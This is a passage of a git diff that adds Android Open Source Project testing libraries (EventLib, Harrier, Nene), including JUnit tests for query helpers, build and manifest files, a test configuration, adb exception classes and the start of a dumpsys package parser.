+        mPersistableBundle.remove(KEY2);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).exists();
+        persistableBundleQueryHelper.key(KEY2).exists();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnNonExistingKey_returnsFalse() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java
new file mode 100644
index 0000000..a1f23b1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class SerializableQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Serializable mSerializable = "SerializableString";
+    private final Serializable mDifferentSerializable = "SerializableString2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        serializableQueryHelper.isEqualTo(mSerializable);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        serializableQueryHelper.isEqualTo(mDifferentSerializable);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java
new file mode 100644
index 0000000..2cb6b16
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class StringQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isEqualTo(STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java
new file mode 100644
index 0000000..fa73206
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+import android.os.Parcelable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+
+@RunWith(JUnit4.class)
+public class SerializableParcelWrapperTest {
+
+    private static final String KEY = "Key";
+    private static final String STRING_VALUE = "String";
+
+    private final Bundle mBundle = new Bundle();
+
+    @Test
+    public void serialize_deserialize_isEqual() throws Exception {
+        mBundle.putString(KEY, STRING_VALUE);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper
+                = new SerializableParcelWrapper<>(mBundle);
+
+        byte[] serializedBytes = serialize(serializableParcelWrapper);
+        SerializableParcelWrapper<Bundle> unserializedWrapper = deserialize(serializedBytes, Bundle.class);
+
+        assertThat(unserializedWrapper.get().getString(KEY))
+                .isEqualTo(serializableParcelWrapper.get().getString(KEY));
+    }
+
+    private byte[] serialize(SerializableParcelWrapper<?> wrapper) throws Exception {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try (ObjectOutputStream outputStream = new ObjectOutputStream(baos)) {
+            outputStream.writeObject(wrapper);
+        }
+        baos.close();
+        return baos.toByteArray();
+    }
+
+    private <E extends Parcelable> SerializableParcelWrapper<E> deserialize(
+            byte[] bytes, Class<E> type) throws Exception {
+        try(ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
+            ObjectInputStream inputStream = new ObjectInputStream(bais)) {
+            return (SerializableParcelWrapper<E>) inputStream.readObject();
+        }
+    }
+
+    @Test
+    public void equals_areEqual_returnsTrue() {
+        Bundle bundle = new Bundle();
+
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper1
+                = new SerializableParcelWrapper<>(bundle);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper2
+                = new SerializableParcelWrapper<>(bundle);
+
+        assertThat(serializableParcelWrapper1.equals(serializableParcelWrapper2)).isTrue();
+    }
+
+    @Test
+    public void equals_areNotEqual_returnsFalse() {
+        Bundle bundle1 = new Bundle();
+        Bundle bundle2 = new Bundle();
+        bundle1.putString(KEY, STRING_VALUE);
+
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper1
+                = new SerializableParcelWrapper<>(bundle1);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper2
+                = new SerializableParcelWrapper<>(bundle2);
+
+        assertThat(serializableParcelWrapper1.equals(serializableParcelWrapper2)).isFalse();
+    }
+
+    @Test
+    public void hashcode_matchesContainedHashcode() {
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper
+                = new SerializableParcelWrapper<>(mBundle);
+
+        assertThat(serializableParcelWrapper.hashCode()).isEqualTo(mBundle.hashCode());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
new file mode 100644
index 0000000..edf5790
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
@@ -0,0 +1,12 @@
+android_test_helper_app {
+    name: "EventLibTestApp",
+    sdk_version: "current",
+    srcs: [
+        "src/main/**/*.java"
+    ],
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "26"
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..f915144
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib.tests.testapp">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <application>
+        <activity android:name=".EventLoggingActivity"
+                  android:exported="true">
+        </activity>
+    </application>
+</manifest>
+
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
new file mode 100644
index 0000000..63ca5be
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -0,0 +1,22 @@
+package com.android.eventlib.tests.testapp;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * An {@link Activity} which, when resumed, logs a {@link CustomEvent} with the
+ * passed in tag and data.
+ */
+public class EventLoggingActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        CustomEvent.logger(this)
+                .setTag(getIntent().getStringExtra("TAG"))
+                .setData(getIntent().getStringExtra("DATA"))
+                .log();
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/Android.bp b/common/device-side/bedstead/harrier/Android.bp
new file mode 100644
index 0000000..308a933
--- /dev/null
+++ b/common/device-side/bedstead/harrier/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "Harrier",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    static_libs: [
+    ]
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java
new file mode 100644
index 0000000..85bd919
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/FailureMode.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+public enum FailureMode {
+    FAIL,
+    SKIP
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
new file mode 100644
index 0000000..c44292e
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireFeatures.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run only when the device has a given feature.
+ *
+ * <p>You can guarantee that these methods do not run on devices lacking the feature by
+ * using {@code DeviceState}.
+ *
+ * <p>By default the test will be skipped if the feature is not available. If you'd rather the test
+ * fail then use {@code failureMode = FailureMode.FAIL}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireFeatures {
+    String[] value();
+    FailureMode failureMode() default FailureMode.SKIP;
+}
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
new file mode 100644
index 0000000..d21fab6
--- /dev/null
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -0,0 +1,43 @@
+android_library {
+    name: "Nene",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    min_sdk_version: "26"
+}
+
+android_test {
+    name: "NeneTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "Nene",
+        "EventLib",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    data: [":NeneTestApp1"],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "26"
+}
+
+android_test_helper_app {
+    name: "NeneTestApp1",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "testapps/TestApp1.xml",
+    min_sdk_version: "26"
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/AndroidTest.xml b/common/device-side/bedstead/nene/AndroidTest.xml
new file mode 100644
index 0000000..f7a5151
--- /dev/null
+++ b/common/device-side/bedstead/nene/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Nene test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="NeneTest.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="NeneTestApp1.apk->/data/local/tmp/NeneTestApp1.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.nene.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/TEST_MAPPING b/common/device-side/bedstead/nene/TEST_MAPPING
new file mode 100644
index 0000000..8beeebe
--- /dev/null
+++ b/common/device-side/bedstead/nene/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "NeneTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..a8d91e7
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.nene">
+    <uses-sdk android:minSdkVersion="26" />
+    <application>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
new file mode 100644
index 0000000..edc688b
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/TestApis.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene;
+
+import com.android.bedstead.nene.packages.Packages;
+import com.android.bedstead.nene.users.Users;
+
+/**
+ * Entry point to Nene Test APIs.
+ */
+public final class TestApis {
+    private final Users mUsers = new Users();
+    private final Packages mPackages = new Packages(this);
+
+    /** Access Test APIs related to Users. */
+    public Users users() {
+        return mUsers;
+    }
+
+    /** Access Test APIs related to Packages. */
+    public Packages packages() {
+        return mPackages;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
new file mode 100644
index 0000000..77b5dbb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+import androidx.annotation.Nullable;
+
+/**
+ * An exception that gets thrown when interacting with Adb.
+ */
+public class AdbException extends Exception {
+
+    private final String mCommand;
+    private final @Nullable String mOutput;
+    private final @Nullable String mErr;
+
+    public AdbException(String message, String command, String output) {
+        this(message, command, output, /* err= */ (String) null);
+    }
+
+    public AdbException(String message, String command, String output, String err) {
+        super(message);
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = err;
+    }
+
+    public AdbException(String message, String command, Throwable cause) {
+        this(message, command, /* output= */ null, cause);
+    }
+
+    public AdbException(String message, String command, String output, Throwable cause) {
+        super(message, cause);
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = null;
+    }
+
+    public String command() {
+        return mCommand;
+    }
+
+    public String output() {
+        return mOutput;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder(super.toString());
+
+        stringBuilder.append("[command=\"").append(mCommand).append("\"");
+        if (mOutput != null) {
+            stringBuilder.append(", output=\"").append(mOutput).append("\"");
+        }
+        if (mErr != null) {
+            stringBuilder.append(", err=\"").append(mErr).append("\"");
+        }
+        stringBuilder.append("]");
+
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java
new file mode 100644
index 0000000..5347408
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbParseException.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+/** An exception that gets thrown when an error occurred parsing Adb output. */
+public class AdbParseException extends Exception {
+
+    private final String adbOutput;
+
+    AdbParseException(String message, String adbOutput) {
+        super(message);
+        if (message == null || adbOutput == null) {
+            throw new NullPointerException();
+        }
+        this.adbOutput = adbOutput;
+    }
+
+    public AdbParseException(String message, String adbOutput, Throwable cause) {
+        super(message, cause);
+        if (message == null || adbOutput == null || cause == null) {
+            throw new NullPointerException();
+        }
+        this.adbOutput = adbOutput;
+    }
+
+    public String adbOutput() {
+        return adbOutput;
+    }
+
+    @Override
+    public String toString() {
+        return super.toString() + "[output=\"" + adbOutput + "\"]";
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
new file mode 100644
index 0000000..bbb6aeb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/NeneException.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.exceptions;
+
+/**
+ * Top level {@link Exception} thrown by Nene APIs.
+ *
+ * <p>This is a {@link RuntimeException} as, because Nene APIs are only to be used in tests, it is
+ * expected that exceptional behaviour should just result in a failed test.
+ */
+public class NeneException extends RuntimeException {
+    public NeneException(String message) {
+        super(message);
+    }
+
+    public NeneException(String message, Throwable throwable) {
+        super(message, throwable);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
new file mode 100644
index 0000000..b70d1f9
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import android.annotation.TargetApi;
+import android.os.Build;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.Map;
+import java.util.Set;
+
+/** Parser for `adb dumpsys package`. */
+@TargetApi(Build.VERSION_CODES.O)
+interface AdbPackageParser {
+
+    static AdbPackageParser get(Packages packages, int sdkVersion) {
+        return new AdbPackageParser26(packages);
+    }
+
+    /**
+     * The result of parsing.
+     *
+     * <p>Values which are not used on the current version of Android will be {@code null}.
+     */
+    class ParseResult {
+        Map<String, Package> mPackages;
+        Set<String> mFeatures;
+    }
+
+    ParseResult parse(String dumpsysPackageOutput) throws AdbParseException;
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
new file mode 100644
index 0000000..39485a8
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/AdbPackageParser26.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.android.bedstead.nene.utils.ParserUtils.extractIndentedSections;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Parser for `adb dumpsys package` on Android O+.
+ *
+ * <p>This class is structured so that future changes in ADB output can be dealt with by extending
+ * this class and overriding the appropriate section parsers.
+ */
+@RequiresApi(Build.VERSION_CODES.O)
+public class AdbPackageParser26 implements AdbPackageParser {
+
+    private static final int PACKAGE_LIST_BASE_INDENTATION = 2;
+
+    private final Packages mPackages;
+
+    AdbPackageParser26(Packages packages) {
+        if (packages == null) {
+            throw new NullPointerException();
+        }
+        mPackages = packages;
+    }
+
+    @Override
+    public ParseResult parse(String dumpsysPackageOutput) throws AdbParseException {
+        ParseResult parseResult = new ParseResult();
+        parseResult.mFeatures = parseFeatures(dumpsysPackageOutput);
+        parseResult.mPackages = parsePackages(dumpsysPackageOutput);
+        return parseResult;
+    }
+
+    Set<String> parseFeatures(String dumpsysPackageOutput) throws AdbParseException {
+        String featuresList = extractFeaturesList(dumpsysPackageOutput);
+        Set<String> features = new HashSet<>();
+        for (String featureLine : featuresList.split("\n")) {
+            features.add(featureLine.trim());
